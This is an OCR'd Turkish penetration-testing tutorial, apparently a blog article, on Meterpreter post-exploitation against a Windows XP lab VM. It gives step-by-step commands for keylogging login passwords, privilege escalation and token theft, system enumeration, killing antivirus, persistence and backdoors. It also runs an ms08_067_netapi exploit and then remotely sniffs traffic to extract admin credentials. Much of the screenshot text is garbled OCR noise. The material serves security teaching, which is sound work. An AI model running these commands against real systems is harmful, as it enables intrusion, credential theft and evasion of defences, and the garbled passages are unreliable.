Bookmarks Halp

Thu Det 11, 5:55 AM

1

hilgiislam, pf

I ¥XqBFH jpeg
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Thu Oct 11, 5:56 AM »

Q iJIXgBFH.jpeg

m Image Edit View
088 )

w*‘

g v WOsGe £
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T e womt i

) .ﬂn -

800 x 600 pixels 57.9kB  78%

o IXgBFH Peq

Gordldigu Gzere hedef sistemin ekran goéruntlisinid elde edebildik. Bunu meterpreter
oturumumuz sonlanmadigi surece diledigimiz kadar tekrarlayabiliriz. Belirli bir bash script ya
da ruby / perl / pyhton script ile (hangisi kolayiniza geliyorsa) screenshot komutunu déngiye
ve belli bir zaman araligina alip nizami ekran alintisi kayitlari tutulabilir.

e) Hedef Sistemi Fareyle Kontrol Etme

Peki hedef sistemin ekran goérintusinu alabildik. Hedef sistemin ekranini canh olarak
goéruntileyebilir miyiz? Hatta ekranini uzaktan faremizle ve klavyemizle kumanda edebilir
miyiz? Cevap evet. Bu is i¢in birka¢ ara¢ vardir. Meterpreter bunlardan bir tanesini, VNC'yi
kullanmaktadir. Kali Linux sistemimizden bir meterpreter komutu olan run vnc komutunu
girdigimizde uzak sistemdeki meterpreter payload'umuz tetiklenir ve meterpreter bulundugu
sistemde bir VNC sunucusu acar. Ayni anda Kali linux sistemimizde ise vnc run komutu sonrasi
bir VNC istemcisi acilir. Hedef sistemdeki VNC sunucusu ayaga tamamen kalkar kalkmaz
sistemimizdeki VNC istemcisi ona baglanir ve uzak sistemin ekrani canli olarak karsimiza gelir.
Bundan sonra makinamizdan uzak makinaya gorsel olarak hikmedebiliriz.

Kali Linux Terminal:

1 meterpreter > run vnc
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Ciktr:

(video: https://www.youtube.com/watch?v=fB_IVDYBJbc )

f) Hedef Sistemde Girilen Tuglamalari Dosyalamak

Nam-1 diger keylogger, yani tus log'layici 6zelligine de sahip olan meterpreter'| uzak sistemde
yapilan tuslamalar yakalayacak sekilde tetiklemek icin bir meterpreter komutu olan run
keylogrecorder komutu kullanilabilir. Fakat burada bir ayrinti vardir: Ornegin sadece Internet
Explorer tarayicisinda tuslanan karakterleri snifflemek istersek Meterpreter payload’umuzu
iexplorer.exe process'ine migrate etmemiz gerekir veya sadece Firefox tarayicisinda tuslanan
karakterleri snifflemek istersek Meterpreter payload'umuzu firefox.exe process'ine migrate
etmemiz gerekir. Eger kurban sistem oturumunu acarkenki tusladigi sifreyi sniff lemek istersek
0 zaman Meterpreter payload’'umuzu winlogon.exe process'ine migrate etmemiz gerekir. Tium
bunlarla beraber sistemin her noktasinda tuslanan karakterleri gormek istersek o zaman
Meterpreter payload’'umuzu explorer.exe process'ine migrate etmemiz gerekir. Tuglanan
karakterler sistemimizin /root/.msf4/logs/script/keylogrecorder/ dizindeki olusturulacak text
dosyasina kaydolacaktir.

Kali Linux Terminal:

1 meterpreter > run keylogrecorder

Cikti:

[ Meterpreter tus dosyalamak Uzere tetiklenir ]
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Applications Places Y Thu Oct 11, 11:53 AM

root@kali: =

[ Hedef sistemde tuglamalar yapilir ]
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A Yinetim Paneli - Microsoft Internet Explorer
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[ Meterpreter'in sistemimize génderdigi bilgiler txt dosyasina kaydolur ]
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Applications Places 'r ] Sun Oct 14, 11:38 PM

root@kali: =
Search  Terminal Tabs

roati@kali: -

£.168.3,120 23181014 ,3535, txt

[ Yapilan tuslamalarin kaydedildigi dosyanin igerigi ekrana basilir ]
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Y Sun Oct 14, 11:37 PM

root@kali: ~

waw . includekarabl

index.php <Retur

= |

&l root@kale

Yukaridaki sirali resimlerde gosterildigi Uzere run keylogrecorder komutu ile sniffing islemi
baslatildi. Hedef sistemde tuslamalar yapildi. Ardindan sistemimizdeki log'lama islemi CTRL
+ C kombinasyonu ile durduruldu. Bu sekilde o ana kadarki girilen tim tuglamalar txt dosyasina
kaydedildi. Kaydedilen dosya dizin yolundan dosyanin igerigi linux komutu olan cat ile ekrana
basildi. Son resimde gosterilen uzak sistemdeki girilen tuslamalarin kaydedildigi dosyada uzak
sistemdeki kullanicinin girdigi user1 ve password bilgileri yer almaktadir. Saldirganlar bu
sekilde hedef sistemdeki kritik tuslanan bilgileri ayiklayip hesap ele gegirme gibi islemlerde
bulunabilmektedirler.

Sonug olarak yapilan bu islem ile hedef sistemde klavyeden tuslanan bilgiler sessiz sedasiz
yerel sisteme ¢ekilmigtir.

g) Hedef Sistemde Yetki Yiukseltme

Hedef sistemdeki Meterpreteri farkh farkl process’lere migrate ederek sistem Uzerindeki
yetkimizi dedistirebiliriz. Asagidaki resimde getuid komutu ile bulunulan process’in sistem
uzerindeki yetkisi 6grenilebilir.

Kali Linux Terminal:
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1 meterpreter > getuid

Ciktr:

Applications Places I [ b Sun Oct 14, 11:51 PM

root@kali: =

Search  Terminal Tabs

rootifikali: -

Bir meterpreter komutu olan getsystem ile hedef sistemdeki yetkimizi en Ust seviyeye
yukseltebiliriz:

Kali Linux Terminal:

1 meterpreter > getsystem
2 meterpreter > getuid
Cikti:
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Applications Places ':I Sun Oct 14, 1155 PM
root@kali: =
File Edt WView Search Terminal Tabs Help

aotifkali: - roati@kali: -

Goruldugu uzere hedef sistemdeki hak seviyemiz pentest kullanici (hesabi) seviyesinden
Windows sistemlerde en ylksek seviye olan SYSTEM seviyesine ulasmistir. Bu v.b. islemlere
privilege escalation (yetki ylikseltme) adi verilir.

h) Hedef Sistemde Yetki Yukseltme 2

Privilege Escalation (Yetki YUkseltme) konusunda bir diger ydontem uzak sistemdeki belirli bir
process’in (web jargonunda ¢erez diye adlandirilan) "token"ini galarak o process'in yetkisinde
sistemde bulunmaya dayanir. Bu islem igin meterpreter payload'umuzdaki incognito (Tebdil-i
Kiyafet) uzantisini etkin kilmamiz gerekir:

Kali Linux Terminal:

1 meterpreter > use incognito

Ciktr:
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+ Applications FPlaces Man Oct 15,

rooti@kali: =

Terminal Tabs

Sistemdeki mevcut yetkimizi 6grenelim ve ardindan belirledigimiz bir process'in pid'sini
kullanarak o process'in sistemdeki yetkisine gegis yapalim.

Kali Linux Terminal:

1 meterpreter > getuid
2 meterpreter > steal token XXXX // Hedef Process'in PID'si
Ciktr:
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Moen Oct 15, 1
root@kali: =

File Edt WView Search Terminal Tabs Help

aotifkali: - roatidkali: -

> WP ragram ilas\Commorn Fileg

AW

Bu islem sirasinda genellikle hata mesaiji terminalde sizi karsilar, ancak sorun yoktur. islem
gerceklesmistir. getuid komutunu kullanarak hedef sistemdeki mevcut yetkinizin degistigini
g6zlemleyebilirsiniz;

Kali Linux Terminal:

1 meterpreter > getuid

Ciktr:
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Mon Oct 15, 12:04 AM

rooti@kali: -

roatifkali: -

Gorlldugu Uzere sistemdeki seviyemiz SYSTEM'dan pentest kullanici hesabi dizeyine
gecmistir. Bu yapilan islem ile aslinda yetki distrme islemi yapilmis oldu, ancak ayni iglem
tersinden de gerceklestirilebilir. Buradaki amag herhangi bir spesifik servisin sistemdeki
yetkisine gecisi gostermektir.

i) Hedef Sistem Gergek Bir Makina mi Yoksa Sanallagtirma Ortamindaki Bir Makina mi
Tespiti

Bazen sizilan sistemler VMWare ya da VirtualBox gibi sanallastirma ortamlarinda agilmig
sanal makinalar olabilmektedir. Ornegin bu makalede lizerinde testler yapilan hedef sistem
olan Windows XP, VirtualBox yazilimi igerisinde acilmig bir alanda c¢alistirimaktadir.
Dolayisiyla bir sanal makinadir. Bir sistemin sanal makina olup olmadigini tespit etmek hedef
network haritasindaki (topolojisindeki) yerimizi 6grenmek adina bir bilgi verir. Eger sanal
makinadaysak atlamamiz gereken bir ana makina (yani sanal makinayi yazilim gibi ¢alistiran
gercek makina) vardir. Ondan sonra hedef network'te atlamalar hayal edilebilir. Eger hedef
sistem direk ger¢cek makinaysa bu durumda isler biraz daha kolaylasir. Sonu¢ olarak yol
haritasi belirlemek adina hedef sistem sanal mi gergek mi bilgisini edinmek islevseldir.
Meterpreter payload'umuz yerlestigi hedef sistemi test eden bir komuta sahiptir. Asagidaki
kodlamada oncelikle run ( ve iki kere TAB) komutu ile nelerin meterpreter igerisinde
calistirilabilecegi gosterilmistir. Ardindan hedef sistemin sanal makina mi degil mi testini
yapacak meterpreter icerisindeki betigin kullanimi gésterilmistir:
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Kali Linux Terminal:

1 meterpreter > run
2 meterpreter > run checkvm
Ciktr:

Applications Flaces r EI Mon Oct 15, 12:33 A

rooti@kali: =

// ve iki kere TAB tusuna basilir

M

rootibkali: -
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Mon Oct 15, 12:33 AM [5
root@kali: =

& Edt View Search Terminal Tabs Help

watiikali: - rootEikali: -

Yukaridaki resimden gorebileceginiz Uzere hedef sistemin Sun (el degistirme sonucu yeni
adiyla Oracle) VirtualBox sanal makinasi oldugu anlasiimistir. Sayet hedef sistem sanal bir
makina olmasaydi sizi sdyle bir ¢kt karsilayacakiti:

j) Hedef Sistem Hakkinda igerden Bilgi Toplama

Meterpreter komutu olan winenum komutu hedef sistemden toplanabilecek ne kadar bilgi varsa
(6rn; ps bilgisi, ortam degiskenleri(environment variables) listesi, kullanici hesaplari listesi,
yukli yazihmlarin listesi, network interface’leri, route tablosu, arp girdileri,...) makinamiza
dosyalar halinde getirir. Bu bilgiler bize hedef sistemi tam manasiyla tanima ve bambaska
saldirilarda bulunma imkani sunabilir. Asagida run winenum komutu ile hedef sistemden nasil
bilgi toplamasi yapildigi gosterilmistir:

Kali Linux Terminal:

1 meterpreter > run winenum
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Ciktr:

[ Meterpreter'daki bilgi toplama betigi tetiklenir ]

Applications Places 'r B Mon Oct 15, 12:45 AM

rooti@kali: =

Eadt Wiew Search Terminal Tabs

ootfkali - rootikali: -

inenun/PENTEST -WINXP_201

ms 4,1

[ Bilgilerin toplandidi dizin kopyalanir ]
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Applications Places (§ [ Mon Oct 15, 12:47 AM

rootifkali: =

Terminal

rootidkali: -

enun/PENTEST -WINKP_2

/.msfdNogs/sc riptsSwinenum/PENTES

[ Toplanan bilgiler listelenir ]

KPP 28181615, 4423
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Applications Places Mon Oct 15, 12:48 AM

root@kali: ~

nenum/PENTEST -WINXP 2

E] root@kali

[ Toplanan bilgilerden bir tanesinin icerigi ekrana basilir. ]
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Applications Places & B2 Mon Oct 15, 1:02 AM
root@kali: /. msf4/logs/scripts/winenum/PENTEST-WINXP_20181015.4422
Eat View Search Terminal Tabs Help

pnenum/PENTEST-WINXP_20181

NT AUTHORITY\NETWORK SERVIC
NT AUTHORITY\SYSTEM

PENTEST -WINXP\pentest

£l root@kalc ~/.msf4/log

Hedef sistem hakkinda igerden bilgi toplamaya yarayan winenum betigi gibi yine igerden bilgi
toplamaya yarayan scraper betigi ekstradan kullanilabilir.

Kali Linux Terminal:

1 meterpreter > run scraper

Cikti:

[ Hedef sistem hakkinda igerden bilgi toplama betigi tetiklenir ]
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Applications Places Mon Oct 15, 120 AM
rooti@kali- =

Terminal

 TEMPY KFaue

LW TNDDWSS TEMPY MONM

S W IND D

' TEMP KLt VA . r

[ Toplanan bilgilerin oldugu dizine gidilir ve kaydedilen bilgiler listelenir ]
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[

~

Applications Places g - Mon Oct 15, 1:25 AM

root@kali: /. msf4/logs/scripts/scraper/172.16.3.120.20181015.185627058

Search Terminal Tabs Help

cot@kale ~/ msfi/lag...

Dosya halinde kaydedilen bilgilerden bir

tanesinin

icerigi ekrana yansitilir

]
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Applications Places 'z E] Mon Oct 15, 1:28 AM

root@kali: /. msfd/lo gs."::ri pts.’scrnpcr."l?z.l 6.3.120_20181015 185627058

it WView Search Terminal Tabz Help

raatikali - t@kali: -/.msf4/ bslscraper/l72.16.3.120_20181015

37 Stepping 2, Gen

ngsiNetworkSeriice

1) Hedef Sistemdeki Antivirus Yazihmlarini Kapama

Sizma iglemi sirasinda en buyuk sorun uzak sistemdeki Antivirus yazilimidir. killav, yani Kkill
(a)nti (v)irus), betidi ile uzak sistemdeki Antivirus process’ini durdurabilir ya da sonlandirabiliriz.
Ancak killav script’i Antivirus’ten kagis igin kesin ¢ozim degildir. Yine de deneme maksadiyla
kullanilabilir ve eger basarili olunursa sizmanin siddetini artirma sirasinda c¢ikabilecek
sorunlardan bizi kurtarabilir.

Uyari: Asagidaki islem birebir pratigi yapiimamig bir islemdir.

Kali Linux Terminal:

1 meterpreter > run killav

Ciktr:
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(erpr
Kil

L*) ng
[*] Killing of
[*] Killing off cmd

m) Hedef Sistemdeki Antivirus Yazilimlarini Kapama 2

Hedef sistemdeki antivirus ve firewall gibi yazilimlari kapama konusunda bir meterpreter
komutu olan getcountermeasure da kullanilabilir:

Uyari: Asagidaki igslem birebir pratigi yapiimamis bir islemdir.
Kali Linux Terminal:

1 meterpreter > run getcountermeasure

Cikti:

n) Hedef Sistemde Kalici Olma

Hedef sistemdeki meterpreter oturumumuzu kalici hale getirmek igin meterpreter'in
persistence (yani kalici olma) betigi tetiklenebilir:

Uyari: Asagidaki islem birebir pratigi yapiimamisg bir islemdir.
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Yukaridaki resimde run persistence komutunun aldi1 parametreleri aciklayacak olursak -X
parametresi sistem reboot edildijinde dahi meterpreter’i baslat emrini verir. -i parametresi
persistence script'inin uzak sistemde hangi araliklarla tetiklenecegini belirten zaman dilimini, -
p parametresi meterpreter oturumunu kumanda edecek olan host'un (yani Kali makinesinin)
port numarasini, -r ise meterpreter oturumunu kumanda edecek olan host'un (yani Kali
makinesinin) IP numarasini argiman olarak alir.

Baska Meterpreter Komutlari

run getgui -e : Hedef sistem Uzerinde RDP (Remote Desktop Protocol) servisini
etkinlestirmek icin kullanilir. Yani VNC ile yapilan islemi bu sefer
windows icerisindeki Remote Desktop servisi ile yapmaya olanak

verir.
run gettelnet -e : Hedef Uzerinde windows telnet servisini aktiflestirmek igin
kullanilir.
run get_application_list : YUkIG uygulamalarin listesini almak igin kullanilir.
run metsvc : Kalici arka kapi birakmak igin kullanilir.
run Hostedit : Windows Uzerindeki host dosyasini dizenlemek icin kullanilir,
run Get local subnets : Hedefin yerel ag maskesini almak igin kullanilir.

Meterpreter'la hedef sistemde daha fazla ne yapabiliim diye arastirmak isterseniz

Kali Linux Terminal:

1 meterpreter > help

demeniz yeterlidir. Bu size meterpreter komutlarinin listesini ve acgiklamalarini verecektir.

Ekstra

Yerel network'te bir MITM (yani araya giren adam) saldirisi tiri olan arp spoofing yaparak
hedef makinanin trafigi sniff'lenebilir (okunabilir). Bu sekilde 6rnegin hedef makinada internetle
konusan bir yazilima girilen oturum bilgileri (credentials) elde edilebilir. Bu konuda isin a-b-c
sini anlatan detayli agiklamalar ve uygulamali gdsterimler bir baska yazida yer alacaktir. Peki
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hedef makina ile ayni local agda degilsek hedef makinanin trafigini yine de sniff'leyebilir miyiz?
Bu iglem igin hedef makinaya sizmak ve ag adaptdrindeki trafigi sistemimize download etmek
(indirmek) gerekir. Meterpreter ile bu mimkindir. Bu baslikta hedef makinayla ayni local
(yerel) agda olmadan nasil hedef makinanin trafiginin snifflenebilecedi gdsterilecektir.

Oncelikle hedef makinaya yine netapi zafiyeti ile sizilacaktir. Ardindan meterpreter payload'u
ile uzaktaki hedefin ethernet karti dinlenecektir. Daha sonra dinleme islemi sonlandirilacak ve
hedef makinada toplanan trafik paketlerini cap, yani (cap)ture, uzantili dosya olarak
makinamiza indirecegiz. En sonunda da cap dosyasini (hedef sistemde toplanmis trafik
paketlerini) network'culerin siklikla kullandigr Wireshark adli yazilim ile inceleyip kullanici adi
ve sifre gibi kritik bir bilgiyi elde edecegiz.

Gereksinimler

(+) Bu yazi belirtilen materyaller ile birebir denenmistir ve basarili olunmustur.
Kali Linux 1.0.4 x64 [indir] // Saldirgan Sistem

Windows XP SP2 TR LANG x86 [indir] // Hedef Sistem

Simdi ayni zararliy1 (exploit'i) ve payload'u kullanarak yine hedef sisteme sizalim.

Kali Linux Terminal:

1 msf > use exploit/windows/smb/ms08 067 netapi

2 msf (ms08 067 netapi) > set PAYLOAD windows/meterpreter/bind tcp
3 msf (ms08 067 netapi) > set LHOST X.X.X.X // Kali Linux IP
4 msf (ms08 067 netapi) > set RHOST X.X.X.X // WindowsXP IP

5 msf (ms08 067 netapi) > exploit

Cikti:

[*] Started bind handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 2 - lang:Turkish
[*] Selected Target: Windows XP SP2 Turkish (NX)

[*] Attempting to trigger the vulnerability...

[*]

Sending stage (770048 bytes) to 192.168.0.19

meterpreter >

Meterpreter session'l (oturumu) elde edilmistir. Simdi sniff'ing islemi icin (hedef sistemdeki
internet trafigini dinlemek igin) meterpreter payload'umuzdaki sniffer betigini etkinlegtirelim ve
hedefin ethernet karti interface'ini (araytuzuna) égrenelim.
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Kali Linux Terminal:

1 meterpreter > use sniffer
2 meterpreter > sniffer interfaces
Ciktr:

Applications Places I [ Tue Oct 16, 6:39 AM

rooti@kali: =

Edt  View Terminal Tabs Help

ootfkali: - roatiikali: -

nity Editien.lnk

{ type:® mtu:1514 usable:true c

meterprgtar =

E

Gorildugu uzere hedef makinanin ethernet kart modeli ¢iktiya yansimistir. Hedef sistemde
birden fazla ethernet adaptéri (araylzi) olabilir. Bizim uygulamamizda Windows XP bir adet
ethernet adaptdriine sahip oldugu icin bir adet ethernet araylzi ekrana yansimigtir. Simdi "1"
numaral interface'ten 20000 tane paket yakala emrini uzak sistemdeki meterpreter
payload'umuza verelim:

Kali Linux Terminal:

1 meterpreter > sniffer start 1 20000
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Ciktr:

Applications Places f [ Tue Oct 16, 6:46 AM
rooti@kali: =
File Edt WView Saarch Terminal T abs Hglp

aotiikali - rootikali; -

settingsipentasti\Desktop dizini

Bu sirada hedef windows xp makinasinda tarayicidan cesitli sitelere ziyarette bulunabilirsiniz.
Ziyaretler sirasinda paketler bir bir yakalanirken arada bir sniffing durumunu gézlemlemek igin
sniffer_stats komutu kullanilabilir:

Kali Linux Terminal:

1 meterpreter > sniffer stats 1 // 1 nolu interface'in istatistikleri

Cikti:
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Applications Places f [ Tue Oct 16, 6:48 AM

rooti@kali: =
Edt View Search Terminal
aatikali: -

rootidkali; -

ommunity Edition.lrk

mtlzlEld Usabl estrue dhop-true wifi:false )

packet buffar]

Ardindan Windows XP 'teki drnegin firefox'tan includekarabuk.com'un admin paneline login
bilgilerini girelim. Daha sonra yakalanan paketleri uzak sistemin buffer'indan (tamponundan)
Kali Linux'a indirip bir dosyaya yazmak igin asagidaki komutu kullanalim:

Kali Linux Terminal:

1 meterpreter > sniffer dump 1 /root/Desktop/toplananTrafik.cap

Ciktr:
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| ‘ 757 '.'.'m‘.'.htwbrag.m,ﬁ;‘l‘l-rF.-vh-i‘i'-:.— php c ‘ ;0\ Arama

I usarl

[ ors [ sioact |

+ Baslat
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Applications Places 'r ] Tue Oct 16, 6:50 AM
root@kali: =
Search  Terminal Tabe

roatifkali: -

JDesktop/toplananT rafik.ca
intartace 1...

Dosyalanan trafikte Wireshark'in filter'i ile madencilik iglemi yapilabilir ve kullanici adi & sifre
gibi hassas bilgilere ulasilabilir. Biz bu slrecin uzunlugunu géz éntinde bulundurarak direk
includekarabuk.com'la alakali trafik paketlerine odaklanalim. Bu islem igin éncelikle tim trafigi
barindiran dosyay! wireshark'a dahil edelim.
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Tue Oct 16, 6:51 AM

root@kali: =

Tue Oct 16, 6:51 AM

Terminal  Help
The Wireshark Network Analyzer [Wireshark 1.8.5]
File Edit View Go Capture Analyze Statistics Telephony Taools Internals Help

= el — S|E

Filter Expression...

The World's Most Popular Network Protocol Anal

Version 1.8.5

Opena prevously captured fle

pen Recent

Choase oot or mare nteta @ Sample Captures

: A richassortment of eample capture fes on the wi
athl

Linux netfilter Log 4 iterface: nflog

Ready to Load or capture Mo Packets Profile: Default

¥ The Wireshark N
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ations Places

K root

Places

A Search

5 Recently Usad
i3 root

m

4 File System

Filter

t 16, 8:52 AM
Wirsshark: Opan C3pturs Fila

@ Desktop

MName

I mimikatz_trunk

& decay.rh

& dos.rb
mimikatz password kismi
mimikatz_trunk tar gz
sam

s0zluk.txt

Filename: toplananTrafik cap

Faormat:
~ Enable MAC nama resolution Siza:

Enable network name resolution Packets:

| Enable transport name resolution  Ferst Packet

‘Wireshark/topdumg/
6934011 bytes

BZ45

2018-10-12 19:47.21

Terminal

File Edit

S e

Filter

Mo,

View Go

Elapsed vime: 00318

18, &6:52 AM

Help

toplananTrafik.cap [Wireshark 1.8.5]

Capture Toals Internals

Analyze Statistics Telephony

Expressian...

Sowrce Destination

172.16.3.79 172,16, 3, 255
172.16.3.77
172.16.3.77
172.16.3.77
172.16.3.77
172.168.3.77

172.16.3. 255
255.

Protecol  Length

Maodified

O6/18/2016
117 bytes 0B/16/2016
93 bytes DB/LZ/2016
149 bytes O8/16/20106
3818 KB O6/L8/2016

694 bytes O6/18/2016

- libpeap

Cancel

Help

+ % ¥ BE

Infgs

25 Sourc

188 Dropb
188 Dropb
188 Dropb
188 Dropb
182 Droph

Ethernet II, Src: doida:3e:B3:3a:bf (do:dazde:os:aa:bf), Dst: IPvamcast_oo:oo:fb

Internet Protocol Wersion 4, Src:

172.16.3.91 (172.16.3.91), Det: 224,

User Datagram Protocol, Sre Port: mdns (5353), Dst Port: mdns (5353)

dc 4a 3e 53
1 ff 11 d2
00 S O

Packets: 8245 Displayed: 82...

topltoplananTrafik..

lananTrafik cap [

0.0.251 (

Profile: Default
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Ardindan Wireshark'in filter kutusuna asagidakini yazalim:

http.request.method == "POST"

Py —— Tue Oct 16, 6:53 AM |3 = W root

Search Terminal Healp
toplananTrafik.cap [Wireshark 1.8.5]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
2 &l = - XC= 49 +» % 3 BH -~

Filter h1:prequesi.melhnd--"PDS'l—l Expression... Clear Apply Save

Ma, Time Soance Destination Protecol Length Infe |

2 9.000000 172.16.3.78 172.16.3.355 LCF 85 Sourc

4 15, 000000 172.16.3.77 255. 255, 255.255 DB-LSP-D 188 Droph

S 15, 000000 172.16.3.77 172.16.3.255 CB-LSP-D 18 Drophb

& 15, 000000 172.16.3.77 255. 255, 255. 255 CB-LSP-D 18 Drophb

7 15.000000 172.168.3.77 255. 255, 255. 255 CB-L=P-D 122 Draopb
3 255. 255. 255.255 CB-LEP-D 122 Draopb
3 o TS

P Frame 1: 192 bytes on wire (1536 bits), 192 bytes captured (1536 bits)
P Ethernet II, Src: do:ida:3e:93:34:bf (dcida:3e:@3:3a:bf), Dst: IPvamcast_00:00:fb (01:00:%)2

I Internet Protocol Wersion 4, Sec: 172,16.3.81 (172.16.3.91), Dst: 224.0.0.251 (224.0.0.2%)
I User Datagram Protocol, Src Port: mdns (5353), Det Port: mdns (5353)

>
D000 Ol 00 Se 00 00 fb doc 4a 3e 93 34 bf 08 00 45 00
1 o0 b2 17 f1 a0 oo 1 11 d2 e2 ac 10 03 Sb =0 0O
o0 fb 14 &5 14 &0 00 S9e 98 S5a 00 00 84 0O OO OO
00 02 00 00 00 0O Ol 35 01 368 01 61 01 35 01 38
0l 64 01 35 01 35 00 37 00 30 00 32 01 35 01 3%

[ File: “froot/Desktop/toplananTrafik... Packets: 8245 Di splayed: B2...

Bl reot@a

W toplananTrafik cap [ [ﬂ

POST methoduna gbére sonug daraltmasina gidilmesi tercih edildi, ¢linkd kullanici adi ve sifre
gibi bilgiler neredeyse her zaman web sitelerinden sunucuya HTTP POST methodu ile
gitmektedir. Daralanan sonuglardan gézimuze kestirdigimiz paketi (mesela includekarabuk'un
login sayfasi olan /adminPaneli/index.php sayfasina dair olan paketi) secelim:
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toplananTrafikcap [Wireshark 185 ]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Halp

B =L 80s Ae AT EE oo @ME -

Filtar: |http.request. method=="POST" % | Expression.. Clear Sava
No. Time Source Destnabon Protocol Length Info

65 24, 000000 172.16.3.120 93.184.220.20 ocsP 503 Request
105 25. 000000 172.16.3.120 93.184.220.29 ocsP 503 Raquest
157 25000000 172.16.3.120 172,217.17.206 OCSP 459 Request
477 26. 000000 172.16.3.120 172.217.17.206 ocsp 499 Raguest
F3ZS 30, 000000 172.16.3.120 93.184.220.29 ocsp 503 Request
3414 30.000000  172.16.3.130 53.184.220.28 005 503 Request
41 30.000000  172.16.3.120  172.217.17.208  OCSP 495 Request
HR20 37, 000000 172,163,120 3,184,320.29 ocsp 203 Raquest
7120 BZ.0000C0 172.16.3.130 §3,184,320.29 oSk =03 Raguest

Frame 8112: 610 bytes on wire (4880 bits), 610 bytes captured (4880 bits)

Ethernet II, Src: CadmusCo_lbied:ad (08:00:27:1b:ed:a8), Dst: Hewlett-_bS5:49:00 (00:17:a4:b5:a5:00)

Internet Pratacal Version 4, Sre: 172.168.3.120 (172.16.3.120), Dat: 46.45.187.221 (45.45.187.221)

Transmission Cantral Pratacal, Sre Part: eplscrambler-lg (1086), Dst Part: heep (90), Seq: 1, Ack: 1, Len: 556
Hypertext Transfer Protocal

Line-based text data: application/x-www-farm-urlencaded

oo o

CO00 00 17 a4 bS a5 00 08 00 27 lbed a6 02 C0 45 00 ........ Yo
CO1G 02 54 1% 62 40 00 80 06 49 af ac 10 03 78 2 2 .T.bi.
oo20 bb dd 04 38 o5 b 65 93 68 f9 5 1d 50 18 P .
coz0  ff ff &8 So 00 SO 4f 53 54 20 2f 61 64 8d B9 L..Y. ST Jadmi
CO40  Gs SO &l S 65 & €9 2f 60 e B4 65 78 2¢ 7O &2 nPanelis index.ph C
@ * File: "iroot/Desktop/toplananTrafik... Packets: 8245 Displayed: 10 Marked 0 Load time: 0:00.117 Profile: Default

I

Ardindan sectigimiz pakete sag tiklayjp Follow TCP Stream diyerek paketin igini
okuyabilecegimiz pencereyi acalim:

toplananTrafikcap [Wireshark 185 ]

File Edit View Go Capture Analyze Statistics Telephony Toels Internals Halp

= =L X0Ca Aae AT EE P @M@ME -

Filtar: |ttp.raquest.method=="pOST" % | Expression.. Clear Sava
No. Time Source Des tnation Protocol Length Info

66 20.000000  172.16.3.120 93.184.720.28 OO 503 Raquest

106 25.000000  172.16.3.120 93.184,220.28  OCSP 503 Raquast

197 25.000000  172.16.3.120 172.217.17.2068 OCSP 493 Raquest

477 26.000000  172.16.3.120  172.217.
339 30.000000  172.16.3.120  93.184.2
2414 30.000000  172.16.3.126  ©3.184.7 Ignore Packet (toggle)
541 30.000000 172.16.3.130  172.217.
8530 37000000 172 £3.184.3
172,

Mark Packat (toggle)

Set Time Reference (toggle)

Time Shift

Edit or Add Packet Comment . P HTTE

Manually Resolve Address

Apply as Filter >
P Frame 8112: 610 bytes on wire (4880 batsl.  prepare a Filter »
b Ethernet II, Src: CadmusCo_lb:cd:a6 {08:00 9:00 (00:17:484:b5:a9:00)
b Internet Protacal Version 4, Sre: 172.16.3  Conversation Filter > g7.221 (46.45.187.221)
¥ Transmission Contral Pratocal, Src Part: €f  cojorize Caonversation 3 http (80), Seq: 1, Ack: 1, Len: 556
b Hypertext Transfer Protacal
b Line-based text data: applicationsx-www.fa

. X I
k
0000 00 17 a4 bS a5 00 02 00 27 1b od a6 02
0010 02 34 15 62 40 00 80 05 49 at ac 10 O3 COpy ) 3
(el lf:lf:n;h;]c-d%n 65 53 68 f9 ¢S
0030 B8 55 00 0O 50 53 54 20 2
0040 e 50 61 Ga 65 6c 65 2f 65 G 64 &5 78 DecodeAs. -
@ * File: "root/Desktop/toplananTrafik.. Packets:  Print e 0:00.117 Profile: Default
Bl root@ Shaw Packet in New Window
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Applications Places = Tue Oct 16, 5:55 AM

Follow TCP Stream

Stream Content B R E‘ ﬁ E H-‘J w

POST JadmnPane Ll index . php HTTE/L, 1

M 1
y

dows NT S5.1; rvid7.0] Gecks /20100101 Firefox/47.0
_-'x-tnl-txn'l.n::'l:l:.1t::-_-'xn1;:=;l.Ll.'_-"';:='_l.:-£
S qel, S, an;qed, 3 -

SYN] Saqel WLnNsES53S Lensd MS5Ss]
ek arabuk . com/adninPaneli findex . php SFN, ACK] Saqe0 Ack=1 Win=14600

tetBud2e3ci g3shuvvik 3cmecs ACK] Saq=1 Ack=1 Win=65535 Len=i
alive

1cation/x-wew- form-urlencoded

php HTTR/1.1  (application/s
ACK] Seq=1 Ack=S557 Win=1S568 Ler =

HTTP/1.1 200 0K mbhled POU]
el mblad FOU]
pEnSa /1 .0. 206 11::_;:';.'111111.::.-‘1.1 mblad EEU]
0 GHT ACK] SaqeS57 Ack=1983 Wins£553S
must- revalidate, post-check=0, pre-check=0 tmll

FIN, ACK] Seq=1988 Ack=S557 h‘ll‘l:]_
BCK] S2q=557 Ack=1969 Win=fS530

Content-Type: text/html; charset=UTe-g I (R =i e TR |
544

= |DOCTYPE HTML PUBLTC " - //W3C//DT0 HTML 4.01//8 3 el WA oras TR tm LA

£

Entire conversation (2543 bytes)

Find Save As Print ASCI EBEDINC

Help

OO O 17 a0 O 39 OO o o 27 IO oF 35 OF OO 4% o ool y
D010 0F 54 15 52 40 00 B0 05 4% af ac 10 02 78 da 3
0020 bb dd o4 38 00 S0 05 bE 65 93 68 f9 5 1d 50 18 sa® P
oo@0 ff ff 68 50 00 00 50 4f 53 54 20 2f 61 64 6d 69 e a¥a PO
OO0 Sa SO Bl Ba S B BS 2f E0 Ba &4 BS TR e TO &2 nPanali/ index.ph -
@™ File: “froot/DesktopftoplananTrafik.. Packets: 8245 Displayed: 15 Marked: O Load time: 0:00.319 Profile: Default

% Follow TCP Stream

Goruldugu tzere paketin igerisindeki POST edilen degisken ve degerleri kullanici adi ve sifre
imis. Boylelikle hedef sistemin trafigini uzaktan sniffleyerek hassas verilere ulasmis olduk.
Saldirganlar bu yolla sizdiklari sistemdeki kurbanlarin c¢esitli web sitelerindeki kullanici
hesaplarini ele gegcirebilirler (diger tabirle hesaplarini hack'leyebilirler).

Sonug¢ olarak bu uygulama ile de sizlere hedef sistemin internetle olan trafigini nasil
dinleyebileceginize dair bir metot gosterilmistir. Trafik okuma network sizma testi yapanlarin
siklikla kullandiklari metotlardan bir tanesidir. Topladiklari devasa nitelikteki paketler icerisinde
